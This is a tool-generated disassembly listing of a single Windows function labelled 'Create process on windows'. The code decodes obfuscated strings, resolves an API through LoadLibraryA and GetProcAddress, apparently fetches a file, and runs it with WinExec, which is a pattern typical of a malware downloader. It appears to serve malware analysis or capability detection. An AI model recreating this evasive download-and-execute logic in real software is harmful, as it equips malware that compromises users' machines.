Function at 0x40417c
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x404186
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.00402d90
push 0x404548
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x404570
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404584
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404594
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045ac
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045c0
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4045e0
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404608
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404624
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404640
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404658
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40467c
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40468c
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046b0
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046c4
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046d8
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046e8
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4046fc
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404714
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404734
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404744
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40475c
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404774
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404790
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047ac
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047cc
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
mov ecx, 0x9e
call fcn.00402324
lea eax, [esp + 9]
push eax
push 0x406e24
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x4043a0
mov bl, 1
jmp 0x4043a9
add edi, 0x400
dec esi
jne 0x404379
test bl, bl
je 0x404536
mov ecx, 0x406b18
mov edx, 0x4047dc
mov eax, 0x4047e4
call fcn.00402ab4
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x404536
mov ecx, 0x406b18
mov edx, 0x4047ec
mov eax, 0x4047e4
call fcn.00402ab4
mov esi, eax
cmp esi, dword [esp]
jb 0x404536
mov ecx, 0x406b18
mov edx, 0x4047f4
mov eax, 0x4047e4
call fcn.00402ab4
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x404536
mov eax, 0x406c1c
call fcn.00402694
test al, al
je 0x404536
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402d90
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4050a0
mov ecx, 0xa
call fcn.004023fc
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x404536
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402d90
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4050ac
mov ecx, 0x12
call fcn.004023fc
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x404536
lea eax, [esp + 9]
mov edx, 0x400
call fcn.00402d90
push 0xa4
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4050c0
mov ecx, 0x2b
call fcn.004023fc
push 0
push 0
push 0x406c1c
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x404536
push 0
push 0x406c1c
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x404536
push 0x406b18
mov ecx, 0x4047fc
mov edx, 0x4047dc
mov eax, 0x4047e4
call fcn.00402a40
push 0x406b18
mov ecx, 0x4047fc
mov edx, 0x4047ec
mov eax, 0x4047e4
call fcn.00402a40
push 0x406b18
mov ecx, 0x4047fc
mov edx, 0x4047f4
mov eax, 0x4047e4
call fcn.00402a40
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret